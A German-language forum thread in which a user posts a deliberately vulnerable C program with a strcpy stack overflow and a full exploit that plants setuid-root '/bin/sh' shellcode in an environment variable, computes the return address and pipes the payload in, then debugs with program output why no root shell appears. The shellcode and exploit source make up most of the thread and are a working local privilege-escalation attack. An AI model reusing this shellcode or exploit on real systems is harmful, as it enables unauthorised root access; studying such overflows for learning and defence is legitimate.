stack overflow?



  • Hi Leute

    folgender code:

    #include <stdio.h>
    #include <stdlib.h>
    
    void ausgabe(char *string)
    {
            char buffer[10];
    
            char *addr= 0xbfffffc5;
    
            strcpy(buffer, string);
    
            printf("\nLange : %d\n", strlen(buffer));
    
            printf("\nAddr bfffffc5: %s\n", addr);
    
            printf("\nHallo %s\n", buffer);
    
            return;
    }
    
    int main(void)
    {
            char name[100];
            int i;
    
            printf("\nName: ");
            scanf("%100s", &name);
    
            for(i= 3; i< strlen(name); i+= 4){
                    printf(".%x.", name[i]);
            }
    
            ausgabe(name);
    
            return(0);
    }
    

    folgender exploit:

    #include <stdlib.h>
    #include <stdio.h>
    
    #define BUFFERSIZE 100
    
    static char shellcode[]=
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
            "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
            "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
            "\x80\xe8\xe4\xff\xff\xff\x2f\x62"
            "\x69\x6e\x2f\x73\x68\x58";
    
    int main(int argc, char *argv[])
    {
            char *env[2] = {shellcode, NULL} ;
            int i;
            long ret;
            long *addr_ptr;
            char *buffer, *ptr;
            int pipeh[2];
            int fd[2];
    
            buffer= (char *)malloc(BUFFERSIZE);
    
            ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2");
    
            printf("\nretaddr: %x\n", ret);
    
            ptr= buffer;
    
            addr_ptr= (long *)ptr;
    
            for(i= 0; i< BUFFERSIZE; i+= 4){
                    *(addr_ptr++)= ret;
            }
    
            buffer[BUFFERSIZE - 1]= '\0';
    
            if (pipe(fd) == -1) {
                    perror("cannot create pipe");
                    exit(1);
            }
    
            switch (fork()){
                    case -1:
                            perror("cannot fork");
                            exit(1);
    
                    case 0:   /* child */
                            close(fd[0]); /* Schliesse normales lesehandle */
                            close(1);     /* Schliesse normalle Standarteingabe */
                            write(fd[1], buffer, BUFFERSIZE);
                            free(buffer);
                            exit(0);
    
                    default:   /* parent */
                            close(fd[1]); /* Schliesse normales schreibhandle */
                            close(0);     /* Schliesse normale Standarteingabe */
                            dup(fd[0]);   /* erstelle neue Standarteingabe */
                            close(fd[0]); /* nicht mehr gebraucht */
                            execle("./vuln2", "vuln2", '\0', env);
                            perror("cannot exec");
                            exit(1);
    
            }
    
            return(0);
    
    }
    

    Theorettisch alles richtig geht jedoch den nicht 😞

    Bitte um Hilfe

    THX 🙂



  • Klingt nach Script-Kiddie-Alarm 😉

    http://neworder.box.sk/forum.php?did=edge12476&thread=211758

    Was genau soll der Shellcode denn machen und wo funktioniert etwas nicht?



  • Hi der shellcode soll eine locale rootshell starten (s bit vorausgestez)
    Diesen Shellcode übergebe ich in der Umgebungsvariable SHELLCODE an vuln2
    Dieser wird auch erfolgreich übertragen, diese wird unter der errechneten
    retaddr 0xbfffffc5 erfolgreich angezeigt.
    Siehe hierzu debugzeilen in vuln2

    char *addr= 0xbfffffc5;
    printf("\nAddr bfffffc5: %s\n", addr);
    

    Auch wird die retaddr-Kette erfolgreich übergeben wies scheint.
    Siehe hierzu debug:

    printf("\nLange : %d\n", strlen(buffer));
    

    Theoretisch müsste nach der strcpy() operation der shellcode ausgeführt werden.
    Ist aber nicht so. Der anschliessende ausgabebefehl:

    printf("\nHallo %s\n", buffer);
    

    Zeigt den shellcode (visuell jedenfalls)
    nicht mehr so wie die erste debug zeile an 😞

    Hab versucht den code im debuger laufen zu lassen, scheint jedenfalls nicht so ganz zu funzen. Irgendwelche Ideen?

    Gruss 🙂



  • Ach übrigens, dass Problem dass ich da hab ist nur bei dem Programm
    welches eine eingabe zur Laufzeit anfordert. Ein ähnliches vuln programm welches das argument als parameter nimmt, lässt sich problemlos mit einem ähnlichen
    exploit ausnutzen. Daher pipes sind dort nicht notwendig gewesen 🙂

    Übrigens die methode mit der Umgebungsvariable ist viel besser als die mit dem langen nops-sled. Da diese addresse sich sehr leicht und exact(!) mittels
    ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2"); errechnen lässt

    Gruss 🙂



  • Hi Leute ich hab den code nun etwas geändert:

    /* vuln2.c */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    void ausgabe(char *string)
    {
            char buffer[10];
    
            char *addr= 0xbfffffc5; /* debug */
    
            strcpy(buffer, string);
    
            printf("\nlen : %d\n", strlen(buffer)); /* debug */
    
            printf("\nAddr bfffffc5: %s\n", addr);  /* debug */
    
            printf("\nHallo %s\n", buffer);
    
            return;
    }
    
    int main(void)
    {
            char name[100];
            int i;
    
            printf("\nIhr Name: ");
            scanf("%100s", &name);
    
            for(i= 0; i< strlen(name); i+= 4){  /* debug */
                    printf(".%x", name[i]);
            }
    
            ausgabe(name);
    
            return(0);
    }
    

    Der Exploit bleibt wie er ist:

    /* exploit.c */
    #include <stdlib.h>
    #include <stdio.h>
    
    #define BUFFERSIZE 101
    
    static char shellcode[]=
            "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
            "\xeb\x17\x5e\x89\x76\x08\x31\xc0"
            "\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x31\xd2\xcd"
            "\x80\xe8\xe4\xff\xff\xff\x2f\x62"
            "\x69\x6e\x2f\x73\x68\x58";
    
    int main(int argc, char *argv[])
    {
            char *env[2] = {shellcode, NULL} ;
            int i;
            long ret;
            long *addr_ptr;
            char *buffer, *ptr;
            int pipeh[2];
            int fd[2];
    
            buffer= (char *)malloc(BUFFERSIZE);
    
            ret= 0xbffffffa - strlen(shellcode) - strlen("./vuln2");
    
            printf("\nretaddr: %x\n", ret);
    
            ptr= buffer;
    
            addr_ptr= (long *)ptr;
    
            for(i= 0; i< BUFFERSIZE; i+= 4){
                    *(addr_ptr++)= ret;
            }
    
            buffer[BUFFERSIZE - 1]= '\0';
    
            if (pipe(fd) == -1) {
                    perror("cannot create pipe");
                    exit(1);
            }
    
            switch (fork()){
    
                    case -1:
                            perror("cannot fork");
                            exit(1);
    
                    case 0:   /* child */
                            close(fd[0]); /* Schliesse normales lesehandle */
                            close(1);     /* Schliesse normalle Standarteingabe */
                            write(fd[1], buffer, BUFFERSIZE);
                            free(buffer);
                            exit(0);
    
                    default:   /* parent */
                            close(fd[1]); /* Schliesse normales schreibhandle */
                            close(0);     /* Schliesse normale Standarteingabe */
                            dup(fd[0]);   /* erstelle neue Standarteingabe */
                            close(fd[0]); /* Schliesse normales lesehandle */
                            execle("./vuln2", "vuln2", '\0', env);
                            perror("cannot exec");
                            exit(1);
    
            }
    
            return(0);
    
    }
    

    => wie man sieht, hab ich in den vuln2.c code debug operationen
    eingebaut. Der code des exploits scheint bis auf einen kleinen Fehler komplett
    richtig zu sein 🙂
    Der Fehler ist, dass anscheinend aus unerfindlichen Gründen die
    falsche Rücksprungaddresse dem vuln2 programm übergeben wird 😞 statt 0xbfffffc5
    zeigen die debugs vom vuln2 programm 0xffffffc5
    siehe hierzu die ausgabe beim ausführen des exploits:

    $ ./exploit4

    retaddr: bfffffc5

    Ihr Name: .ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5.ffffffc5
    len : 100

    Addr bfffffc5: 1�1۰̀�^�1�F�F

    ��1�̀�����/bin/shX

    Hallo ����������������������������������������������������������������������������������������������������

    Ab da wo 'Ihr Name' steht beginnt die ausgabe von vuln2.
    wie man sieht ist der shellcode tatsächlich unter bfffffc5 🙂
    leider sieht man die falsche rücksprungaddresse: ffffffc5 😞

    Könnt Ihr mir bitte weiterhelfen?
    Wiso wird ffffffc5 statt bfffffc5 übergeben?

    Für eure Hilfe wäre ich euch sehr dankbar 🙂



  • Ok dies Problem hat sich gelöst die eine debuganweisung in der main()
    vom vuln2.c war falsch ^^ .
    Muss heissen:

    long *long_ptr;
    
      ...
    
            long_ptr= (long *)name;
            for(i= 0; i< strlen(name); i+= 4){  /* debug */
                    printf(".%x", *(long_ptr++));
            }
    

    nach dem start des exploits sieht man nun folgendes:

    $ ./exploit4

    retaddr: bfffffc5

    Ihr Name: .bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5.bfffffc5
    len : 100

    Addr bfffffc5: 1�1۰̀�^�1�F�F

    ��1�̀�����/bin/shX

    Hallo ����������������������������������������������������������������������������������������������������

    Den debuggs nach ist nun alles richtig 🙂
    Wiso wird der shellcode nicht ausgeführt? 😞
    Ich bitte um Eure hilfe 🙂



  • Hi,

    möglicherweise ist dein Rechner immun gegen diesen Exploit? Sowas hängt natürlich auch vom eigenen System ab.


Anmelden zum Antworten